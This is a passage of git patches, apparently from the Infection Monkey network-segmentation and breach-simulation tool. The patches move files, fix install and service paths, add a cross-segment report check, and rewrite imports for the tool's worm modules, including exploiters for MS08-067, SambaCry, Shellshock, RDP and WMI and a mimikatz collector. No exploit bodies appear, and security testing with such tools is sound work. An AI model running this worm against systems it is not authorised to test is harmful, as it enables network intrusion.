a/monkey_island/linux/ubuntu/systemd/monkey-mongo.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service similarity index 100% rename from monkey_island/linux/ubuntu/systemd/monkey-mongo.service rename to monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service diff --git a/monkey_island/linux/ubuntu/systemd/start_server.sh b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh similarity index 100% rename from monkey_island/linux/ubuntu/systemd/start_server.sh rename to monkey/monkey_island/linux/ubuntu/systemd/start_server.sh diff --git a/monkey_island/readme.txt b/monkey/monkey_island/readme.txt similarity index 100% rename from monkey_island/readme.txt rename to monkey/monkey_island/readme.txt diff --git a/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt similarity index 100% rename from monkey_island/requirements.txt rename to monkey/monkey_island/requirements.txt diff --git a/monkey_island/windows/clear_db.bat b/monkey/monkey_island/windows/clear_db.bat similarity index 100% rename from monkey_island/windows/clear_db.bat rename to monkey/monkey_island/windows/clear_db.bat diff --git a/monkey_island/windows/copyShortcutOnDesktop.bat b/monkey/monkey_island/windows/copyShortcutOnDesktop.bat similarity index 100% rename from monkey_island/windows/copyShortcutOnDesktop.bat rename to monkey/monkey_island/windows/copyShortcutOnDesktop.bat diff --git a/monkey_island/windows/create_certificate.bat b/monkey/monkey_island/windows/create_certificate.bat similarity index 100% rename from monkey_island/windows/create_certificate.bat rename to monkey/monkey_island/windows/create_certificate.bat diff --git a/monkey_island/windows/openssl.cfg b/monkey/monkey_island/windows/openssl.cfg similarity index 100% rename from monkey_island/windows/openssl.cfg rename to monkey/monkey_island/windows/openssl.cfg diff --git a/monkey_island/windows/removeShortcutFromDesktop.bat b/monkey/monkey_island/windows/removeShortcutFromDesktop.bat similarity index 100% rename from monkey_island/windows/removeShortcutFromDesktop.bat rename to monkey/monkey_island/windows/removeShortcutFromDesktop.bat diff --git a/monkey_island/windows/run_cc.bat b/monkey/monkey_island/windows/run_cc.bat similarity index 100% rename from monkey_island/windows/run_cc.bat rename to monkey/monkey_island/windows/run_cc.bat diff --git a/monkey_island/windows/run_mongodb.bat b/monkey/monkey_island/windows/run_mongodb.bat similarity index 100% rename from monkey_island/windows/run_mongodb.bat rename to monkey/monkey_island/windows/run_mongodb.bat diff --git a/monkey_island/windows/run_server.bat b/monkey/monkey_island/windows/run_server.bat similarity index 100% rename from monkey_island/windows/run_server.bat rename to monkey/monkey_island/windows/run_server.bat From a594bd11c20d1360e554961edce53009f15be66d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 16:09:35 +0300 Subject: [PATCH 092/243] Update gitignore, another relative file fix --- .gitignore | 10 +++++----- monkey/monkey_island/cc/encryptor.py | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.gitignore b/.gitignore index 403d090ad..44ae856a5 100644 --- a/.gitignore +++ b/.gitignore @@ -62,9 +62,9 @@ docs/_build/ # PyBuilder target/ -db bin -/monkey_island/cc/server.key -/monkey_island/cc/server.crt -/monkey_island/cc/server.csr -monkey_island/cc/ui/node_modules/ +/monkey/monkey_island/db +/monkey/monkey_island/cc/server.key +/monkey/monkey_island/cc/server.crt +/monkey/monkey_island/cc/server.csr +/monkey/monkey_island/cc/ui/node_modules/ diff --git a/monkey/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py index 90009d1b0..3a3d052f6 100644 --- a/monkey/monkey_island/cc/encryptor.py +++ b/monkey/monkey_island/cc/encryptor.py @@ -9,7 +9,7 @@ __author__ = "itay.mizeretz" class Encryptor: _BLOCK_SIZE = 32 - _DB_PASSWORD_FILENAME = "mongo_key.bin" + _DB_PASSWORD_FILENAME = "monkey_island/cc/mongo_key.bin" def __init__(self): self._load_key() From d831769d1fec1afd5d97a34c5c457d508fe8e333 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 18:06:30 +0300 Subject: [PATCH 093/243] Fix CR --- monkey_island/cc/services/config.py | 11 +++- monkey_island/cc/services/report.py | 61 +++++++++++++++++-- .../cc/ui/src/components/pages/ReportPage.js | 13 ++-- 3 files changed, 74 insertions(+), 11 deletions(-) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 8294e0bb3..5bddc1901 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -241,9 +241,14 @@ SCHEMA = { "default": [ ], "description": - "List of IP/subnet groups. Each group should consist of subnets that aren't supposed" - " to be accessible to one another. If the monkey is in one subnet it'll scan the other" - " subnets in the same group." + "You can use this feature to test for network segmentation, by proving lists of" + " IP/subnet groups that should not be accessible to each other. Each input group" + " consists of subnets that should not be accessible to each other. If the Monkey" + " is inside of one of the subnets it will attempt to connect to machines in the" + " other subnet." + " Example, by providing input 192.168.1.0/24, 192.168.2.0/24, 192.168.3.1-192.168.3.10," + " a Monkey with the IP address 192.168.2.5 will try to access machines inside" + " 192.168.1.0/24 or 192.168.3.1-192.168.3.10." } } } diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index a4dcb7f57..ba2fc56b3 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -1,4 +1,5 @@ import itertools +import functools import ipaddress from enum import Enum @@ -329,11 +330,52 @@ class ReportService: return ip_address return None + @staticmethod + def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range): + """ + Gets list of cross segment issues of a single machine. Meaning a machine has an interface for each of the + subnets. + :param source_subnet_range: The subnet range which shouldn't be able to access target_subnet. + :param target_subnet_range: The subnet range which shouldn't be accessible from source_subnet. + :return: + """ + cross_segment_issues = [] + + for monkey in mongo.db.monkey.find({}, {'ip_addresses': 1, 'hostname': 1}): + ip_in_src = None + ip_in_dst = None + for ip_addr in monkey['ip_addresses']: + if source_subnet_range.is_in_range(unicode(ip_addr)): + ip_in_src = ip_addr + break + + # No point searching the dst subnet if there are no IPs in src subnet. + if not ip_in_src: + continue + + for ip_addr in monkey['ip_addresses']: + if target_subnet_range.is_in_range(unicode(ip_addr)): + ip_in_dst = ip_addr + break + + if ip_in_dst: + cross_segment_issues.append( + { + 'source': ip_in_src, + 'hostname': monkey['hostname'], + 'target': ip_in_dst, + 'services': None, + 'is_self': True + }) + + return cross_segment_issues + @staticmethod def get_cross_segment_issues_per_subnet_pair(scans, source_subnet, target_subnet): """ Gets list of cross segment issues from source_subnet to target_subnet. :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + This should be a PyMongo cursor object. :param source_subnet: The subnet which shouldn't be able to access target_subnet. :param target_subnet: The subnet which shouldn't be accessible from source_subnet. :return: @@ -345,6 +387,7 @@ class ReportService: cross_segment_issues = [] + scans.rewind() # If we iterated over scans already we need to rewind. for scan in scans: target_ip = scan['data']['machine']['ip_addr'] if target_subnet_range.is_in_range(unicode(target_ip)): @@ -359,16 +402,19 @@ class ReportService: 'source': cross_segment_ip, 'hostname': monkey['hostname'], 'target': target_ip, - 'services': scan['data']['machine']['services'] + 'services': scan['data']['machine']['services'], + 'is_self': False }) - return cross_segment_issues + return cross_segment_issues + ReportService.get_cross_segment_issues_of_single_machine( + source_subnet_range, target_subnet_range) @staticmethod def get_cross_segment_issues_per_subnet_group(scans, subnet_group): """ Gets list of cross segment issues within given subnet_group. :param scans: List of all scan telemetry entries. Must have monkey_guid, ip_addr and services. + This should be a PyMongo cursor object. :param subnet_group: List of subnets which shouldn't be accessible from each other. :return: Cross segment issues regarding the subnets in the group. """ @@ -405,8 +451,15 @@ class ReportService: @staticmethod def get_issues(): - issues = ReportService.get_exploits() + ReportService.get_tunnels() \ - + ReportService.get_island_cross_segment_issues() + ReportService.get_azure_issues() + ISSUE_GENERATORS = [ + ReportService.get_exploits, + ReportService.get_tunnels, + ReportService.get_island_cross_segment_issues, + ReportService.get_azure_issues + ] + + issues = functools.reduce(lambda acc, issue_gen: acc + issue_gen(), ISSUE_GENERATORS, []) + issues_dict = {} for issue in issues: machine = issue['machine'] diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index d92b06f7d..278d6152f 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -456,10 +456,15 @@ class ReportPageComponent extends AuthComponent {
      {crossSegmentIssue['issues'].map(x => -
    • - {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target'] - + ' using the services: ' + Object.keys(x['services']).join(', ')} -
    • + x['is_self'] ? +
    • + {'Machine ' + x['hostname'] + ' has both ips: ' + x['source'] + ' and ' + x['target']} +
    • + : +
    • + {'IP ' + x['source'] + ' (' + x['hostname'] + ') connected to IP ' + x['target'] + + ' using the services: ' + Object.keys(x['services']).join(', ')} +
    • )}
    From d30f2cf8dc0ed2342516f58416b13cab9a811e3d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 20:26:33 +0300 Subject: [PATCH 094/243] Update scripts --- .../monkey_island/deb-package/DEBIAN/postinst | 21 ++++++++----------- monkey/monkey_island/deb-package/DEBIAN/prerm | 2 +- monkey/monkey_island/linux/clear_db.sh | 2 +- .../monkey_island/linux/create_certificate.sh | 2 +- monkey/monkey_island/linux/install.sh | 2 +- monkey/monkey_island/linux/monkey.sh | 2 +- monkey/monkey_island/linux/run.sh | 6 +++--- .../linux/ubuntu/monkey-island.conf | 4 ++-- .../linux/ubuntu/monkey-mongo.conf | 4 ++-- .../ubuntu/systemd/monkey-island.service | 2 +- .../linux/ubuntu/systemd/monkey-mongo.service | 4 ++-- .../linux/ubuntu/systemd/start_server.sh | 4 ++-- monkey/monkey_island/windows/run_cc.bat | 4 ++-- 13 files changed, 28 insertions(+), 31 deletions(-) diff --git a/monkey/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst index 3fa922a01..00d3b78f1 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/postinst +++ b/monkey/monkey_island/deb-package/DEBIAN/postinst @@ -1,33 +1,30 @@ #!/bin/bash -MONKEY_FOLDER=/var/monkey_island -INSTALLATION_FOLDER=/var/monkey_island/installation -PYTHON_FOLDER=/var/monkey_island/bin/python - -cp -f ${MONKEY_FOLDER}/monkey.sh /usr/bin/monkey -chmod 755 /usr/bin/monkey +MONKEY_FOLDER=/var/monkey +INSTALLATION_FOLDER=/var/monkey/installation +PYTHON_FOLDER=/var/monkey/monkey_island/bin/python # Prepare python virtualenv pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER virtualenv -p python2.7 ${PYTHON_FOLDER} # install pip requirements -${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER +${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER # remove installation folder and unnecessary files rm -rf ${INSTALLATION_FOLDER} -rm -f ${MONKEY_FOLDER}/pip_requirements.txt +rm -f ${MONKEY_FOLDER}/monkey_island/pip_requirements.txt -cp ${MONKEY_FOLDER}/ubuntu/* /etc/init/ +cp ${MONKEY_FOLDER}/monkey_island/ubuntu/* /etc/init/ if [ -d "/etc/systemd/network" ]; then - cp ${MONKEY_FOLDER}/ubuntu/systemd/*.service /lib/systemd/system/ - chmod +x ${MONKEY_FOLDER}/ubuntu/systemd/start_server.sh + cp ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/*.service /lib/systemd/system/ + chmod +x ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/start_server.sh systemctl daemon-reload systemctl enable monkey-mongo systemctl enable monkey-island fi -${MONKEY_FOLDER}/create_certificate.sh +${MONKEY_FOLDER}/monkey_island/create_certificate.sh service monkey-island start service monkey-mongo start diff --git a/monkey/monkey_island/deb-package/DEBIAN/prerm b/monkey/monkey_island/deb-package/DEBIAN/prerm index 98557e487..69070adaf 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/prerm +++ b/monkey/monkey_island/deb-package/DEBIAN/prerm @@ -8,6 +8,6 @@ rm -f /etc/init/monkey-mongo.conf [ -f "/lib/systemd/system/monkey-island.service" ] && rm -f /lib/systemd/system/monkey-island.service [ -f "/lib/systemd/system/monkey-mongo.service" ] && rm -f /lib/systemd/system/monkey-mongo.service -rm -r -f /var/monkey_island +rm -r -f /var/monkey exit 0 \ No newline at end of file diff --git a/monkey/monkey_island/linux/clear_db.sh b/monkey/monkey_island/linux/clear_db.sh index d6839ed2a..7ec819cd5 100644 --- a/monkey/monkey_island/linux/clear_db.sh +++ b/monkey/monkey_island/linux/clear_db.sh @@ -1,6 +1,6 @@ #!/bin/bash service monkey-mongo stop -cd /var/monkey_island +cd /var/monkey/monkey_island rm -rf ./db/* service monkey-mongo start diff --git a/monkey/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh index 32fa9756d..477440a6f 100644 --- a/monkey/monkey_island/linux/create_certificate.sh +++ b/monkey/monkey_island/linux/create_certificate.sh @@ -1,6 +1,6 @@ #!/bin/bash -cd /var/monkey_island +cd /var/monkey/monkey_island openssl genrsa -out cc/server.key 1024 openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt diff --git a/monkey/monkey_island/linux/install.sh b/monkey/monkey_island/linux/install.sh index f230b58d2..d4ebfedbe 100644 --- a/monkey/monkey_island/linux/install.sh +++ b/monkey/monkey_island/linux/install.sh @@ -10,5 +10,5 @@ else fi MONKEY_FILE=monkey-linux-$ARCH -cp -f /var/monkey_island/cc/binaries/$MONKEY_FILE /tmp +cp -f /var/monkey/monkey_island/cc/binaries/$MONKEY_FILE /tmp /tmp/$MONKEY_FILE m0nk3y $@ diff --git a/monkey/monkey_island/linux/monkey.sh b/monkey/monkey_island/linux/monkey.sh index f230b58d2..d4ebfedbe 100644 --- a/monkey/monkey_island/linux/monkey.sh +++ b/monkey/monkey_island/linux/monkey.sh @@ -10,5 +10,5 @@ else fi MONKEY_FILE=monkey-linux-$ARCH -cp -f /var/monkey_island/cc/binaries/$MONKEY_FILE /tmp +cp -f /var/monkey/monkey_island/cc/binaries/$MONKEY_FILE /tmp /tmp/$MONKEY_FILE m0nk3y $@ diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh index 485d6eff1..6770e2922 100644 --- a/monkey/monkey_island/linux/run.sh +++ b/monkey/monkey_island/linux/run.sh @@ -1,5 +1,5 @@ #!/bin/bash -cd /var/monkey_island/cc -/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db & -/var/monkey_island/bin/python/bin/python main.py \ No newline at end of file +cd /var/monkey +/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db & +/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py \ No newline at end of file diff --git a/monkey/monkey_island/linux/ubuntu/monkey-island.conf b/monkey/monkey_island/linux/ubuntu/monkey-island.conf index 360559b31..1ded4d94a 100644 --- a/monkey/monkey_island/linux/ubuntu/monkey-island.conf +++ b/monkey/monkey_island/linux/ubuntu/monkey-island.conf @@ -7,8 +7,8 @@ respawn respawn limit unlimited script - chdir /var/monkey_island/cc - exec python main.py + chdir /var/monkey + exec python monkey_island/cc/main.py end script post-stop script diff --git a/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf b/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf index df9145014..cd148d877 100644 --- a/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf +++ b/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf @@ -7,8 +7,8 @@ respawn respawn limit unlimited script - chdir /var/monkey_island/ - exec /var/monkey_island/bin/mongodb/bin/mongod --dbpath db + chdir /var/monkey/monkey_island/ + exec /var/monkey/monkey_island/bin/mongodb/bin/mongod --dbpath db end script post-stop script diff --git a/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service index 8868dc3aa..d66de2377 100644 --- a/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service +++ b/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service @@ -5,7 +5,7 @@ After=network.target [Service] Type=simple -ExecStart=/var/monkey_island/ubuntu/systemd/start_server.sh +ExecStart=/var/monkey/monkey_island/ubuntu/systemd/start_server.sh [Install] WantedBy=multi-user.target \ No newline at end of file diff --git a/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service index 6c1fee8f8..b786e0abb 100644 --- a/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service +++ b/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service @@ -3,10 +3,10 @@ Description=Monkey Island Mongo Service After=network.target [Service] -ExecStart=/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db +ExecStart=/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db KillMode=process Restart=always -ExecStop=/var/monkey_island/bin/mongodb/bin/mongod --shutdown +ExecStop=/var/monkey/monkey_island/bin/mongodb/bin/mongod --shutdown [Install] WantedBy=multi-user.target \ No newline at end of file diff --git a/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh index ceeab57f4..21ba14f58 100644 --- a/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh +++ b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh @@ -1,4 +1,4 @@ #!/bin/bash -cd /var/monkey_island/cc -/var/monkey_island/bin/python/bin/python main.py \ No newline at end of file +cd /var/monkey +/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py \ No newline at end of file diff --git a/monkey/monkey_island/windows/run_cc.bat b/monkey/monkey_island/windows/run_cc.bat index c16c9fc6b..56f349c7b 100644 --- a/monkey/monkey_island/windows/run_cc.bat +++ b/monkey/monkey_island/windows/run_cc.bat @@ -1,4 +1,4 @@ @title C^&C Server -@pushd cc -@..\bin\Python27\python main.py +@pushd .. +@monkey_island\bin\Python27\python monkey_island\cc\main.py @popd \ No newline at end of file From 8a56144a09d026976991ce59907a393055fe1c59 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 20:29:32 +0300 Subject: [PATCH 095/243] Various required fixes --- monkey/infection_monkey/main.py | 2 +- monkey/monkey_island/cc/app.py | 11 ++++++++--- monkey/monkey_island/cc/resources/local_run.py | 4 ++-- 3 files changed, 11 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 51fd6b9f7..4ff4917b9 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -11,7 +11,7 @@ import traceback from config import WormConfiguration, EXTERNAL_CONFIG_FILE from dropper import MonkeyDrops from model import MONKEY_ARG, DROPPER_ARG -from monkey import InfectionMonkey +from infection_monkey.monkey import InfectionMonkey import utils if __name__ == "__main__": diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 34d14ae86..fdd18345d 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -4,7 +4,7 @@ from datetime import datetime import bson import flask_restful from bson.json_util import dumps -from flask import Flask, send_from_directory, make_response +from flask import Flask, send_from_directory, make_response, Response from werkzeug.exceptions import NotFound from cc.auth import init_jwt @@ -28,18 +28,23 @@ from cc.services.config import ConfigService __author__ = 'Barak' +HOME_FILE = 'index.html' + + def serve_static_file(static_path): if static_path.startswith('api/'): raise NotFound() try: - return send_from_directory('ui/dist', static_path) + return send_from_directory(os.path.join(os.getcwd(), 'monkey_island/cc/ui/dist'), static_path) except NotFound: # Because react uses various urls for same index page, this is probably the user's intention. + if static_path == HOME_FILE: + flask_restful.abort(Response("Server cwd isn't right, should be monkey\\monkey.", 500)) return serve_home() def serve_home(): - return serve_static_file('index.html') + return serve_static_file(HOME_FILE) def normalize_obj(obj): diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index c588eaf80..918e3fe28 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -24,8 +24,8 @@ def run_local_monkey(): if not result: return False, "OS Type not found" - monkey_path = os.path.join('binaries', result['filename']) - target_path = os.path.join(os.getcwd(), result['filename']) + monkey_path = os.path.join(os.getcwd(), 'monkey_island', 'cc', 'binaries', result['filename']) + target_path = os.path.join(os.getcwd(), 'monkey_island', result['filename']) # copy the executable to temp path (don't run the monkey from its current location as it may delete itself) try: From 4e207256dd2197a018e7a55f5db3ac5acf6e85c8 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Jun 2018 14:38:58 +0300 Subject: [PATCH 096/243] infection monkey works via infection_monkey.py or monkey.exe --- monkey/infection_monkey.py | 4 ++++ monkey/infection_monkey/config.py | 7 +++--- monkey/infection_monkey/control.py | 12 +++++----- monkey/infection_monkey/dropper.py | 8 +++---- monkey/infection_monkey/exploit/__init__.py | 16 +++++++------- .../infection_monkey/exploit/elasticgroovy.py | 11 +++++----- monkey/infection_monkey/exploit/rdpgrinder.py | 17 +++++++------- monkey/infection_monkey/exploit/sambacry.py | 13 ++++++----- monkey/infection_monkey/exploit/shellshock.py | 13 ++++++----- monkey/infection_monkey/exploit/smbexec.py | 17 +++++++------- monkey/infection_monkey/exploit/sshexec.py | 15 +++++++------ monkey/infection_monkey/exploit/tools.py | 18 +++++++-------- .../infection_monkey/exploit/win_ms08_067.py | 15 +++++++------ monkey/infection_monkey/exploit/wmiexec.py | 13 ++++++----- monkey/infection_monkey/main.py | 11 ++++------ monkey/infection_monkey/model/__init__.py | 2 +- monkey/infection_monkey/monkey-linux.spec | 2 +- monkey/infection_monkey/monkey.py | 22 +++++++++---------- monkey/infection_monkey/monkey.spec | 2 +- monkey/infection_monkey/network/__init__.py | 18 +++++++-------- .../infection_monkey/network/elasticfinger.py | 7 +++--- monkey/infection_monkey/network/httpfinger.py | 8 ++++--- .../infection_monkey/network/mysqlfinger.py | 9 ++++---- .../network/network_scanner.py | 8 +++---- .../infection_monkey/network/ping_scanner.py | 7 +++--- monkey/infection_monkey/network/smbfinger.py | 8 ++++--- monkey/infection_monkey/network/sshfinger.py | 9 ++++---- .../infection_monkey/network/tcp_scanner.py | 7 +++--- .../infection_monkey/system_info/__init__.py | 6 ++--- .../system_info/mimikatz_collector.py | 4 +++- .../system_info/windows_info_collector.py | 4 ++-- monkey/infection_monkey/system_singleton.py | 2 +- monkey/infection_monkey/test/config__test.py | 4 ++-- monkey/infection_monkey/transport/__init__.py | 4 ++-- monkey/infection_monkey/transport/base.py | 1 + monkey/infection_monkey/transport/ftp.py | 4 +++- monkey/infection_monkey/transport/http.py | 4 ++-- monkey/infection_monkey/transport/tcp.py | 3 ++- monkey/infection_monkey/tunnel.py | 10 ++++----- monkey/infection_monkey/utils.py | 2 +- monkey/infection_monkey/windows_upgrader.py | 12 +++++----- 41 files changed, 192 insertions(+), 167 deletions(-) create mode 100644 monkey/infection_monkey.py diff --git a/monkey/infection_monkey.py b/monkey/infection_monkey.py new file mode 100644 index 000000000..86e5f5657 --- /dev/null +++ b/monkey/infection_monkey.py @@ -0,0 +1,4 @@ +import infection_monkey.main + +if "__main__" == __name__: + infection_monkey.main.main() diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 7bd651965..0d5e18ebe 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -6,9 +6,10 @@ import uuid from abc import ABCMeta from itertools import product -from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter -from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger +from infection_monkey.exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, \ + ShellShockExploiter, SambaCryExploiter, ElasticGroovyExploiter +from infection_monkey.network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, \ + ElasticFinger __author__ = 'itamar' diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index d2cbc0cc0..4f3df0b60 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -6,12 +6,12 @@ from socket import gethostname import requests from requests.exceptions import ConnectionError -import monkeyfs -import tunnel -from config import WormConfiguration, GUID -from network.info import local_ips, check_internet_access -from transport.http import HTTPConnectProxy -from transport.tcp import TcpProxy +import infection_monkey.monkeyfs as monkeyfs +import infection_monkey.tunnel as tunnel +from infection_monkey.config import WormConfiguration, GUID +from infection_monkey.network.info import local_ips, check_internet_access +from infection_monkey.transport.http import HTTPConnectProxy +from infection_monkey.transport.tcp import TcpProxy __author__ = 'hoffer' diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 6e63e5404..07d65b712 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -9,10 +9,10 @@ import sys import time from ctypes import c_char_p -from config import WormConfiguration -from exploit.tools import build_monkey_commandline_explicitly -from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX -from system_info import SystemInfoCollector, OperatingSystem +from infection_monkey.config import WormConfiguration +from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX +from infection_monkey.system_info import SystemInfoCollector, OperatingSystem if "win32" == sys.platform: from win32process import DETACHED_PROCESS diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 379d2bd92..d2b1a105e 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -33,11 +33,11 @@ class HostExploiter(object): raise NotImplementedError() -from win_ms08_067 import Ms08_067_Exploiter -from wmiexec import WmiExploiter -from smbexec import SmbExploiter -from rdpgrinder import RdpExploiter -from sshexec import SSHExploiter -from shellshock import ShellShockExploiter -from sambacry import SambaCryExploiter -from elasticgroovy import ElasticGroovyExploiter +from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter +from infection_monkey.exploit.wmiexec import WmiExploiter +from infection_monkey.exploit.smbexec import SmbExploiter +from infection_monkey.exploit.rdpgrinder import RdpExploiter +from infection_monkey.exploit.sshexec import SSHExploiter +from infection_monkey.exploit.shellshock import ShellShockExploiter +from infection_monkey.exploit.sambacry import SambaCryExploiter +from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 989ae5cdf..4dbd20e7b 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -9,10 +9,11 @@ import logging import requests -from exploit import HostExploiter -from model import DROPPER_ARG -from network.elasticfinger import ES_SERVICE, ES_PORT -from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth +import infection_monkey.config +from infection_monkey.exploit import HostExploiter +from infection_monkey.model import DROPPER_ARG +from infection_monkey.network.elasticfinger import ES_SERVICE, ES_PORT +from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth __author__ = 'danielg' @@ -38,7 +39,7 @@ class ElasticGroovyExploiter(HostExploiter): def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist def is_os_supported(self): diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 5d73c8279..6b0110e47 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -9,12 +9,13 @@ from rdpy.core.error import RDPSecurityNegoFail from rdpy.protocol.rdp import rdp from twisted.internet import reactor -from exploit import HostExploiter -from exploit.tools import HTTPTools, get_monkey_depth -from exploit.tools import get_target_monkey -from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS -from network.tools import check_tcp_port -from tools import build_monkey_commandline +import infection_monkey.config +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth +from infection_monkey.exploit.tools import get_target_monkey +from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline __author__ = 'hoffer' @@ -237,8 +238,8 @@ class RdpExploiter(HostExploiter): def __init__(self, host): super(RdpExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self._guid = __import__('config').GUID + self._config = infection_monkey.config.WormConfiguration + self._guid = infection_monkey.config.GUID def is_os_supported(self): if super(RdpExploiter, self).is_os_supported(): diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 930cd8854..d9d683bdd 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ 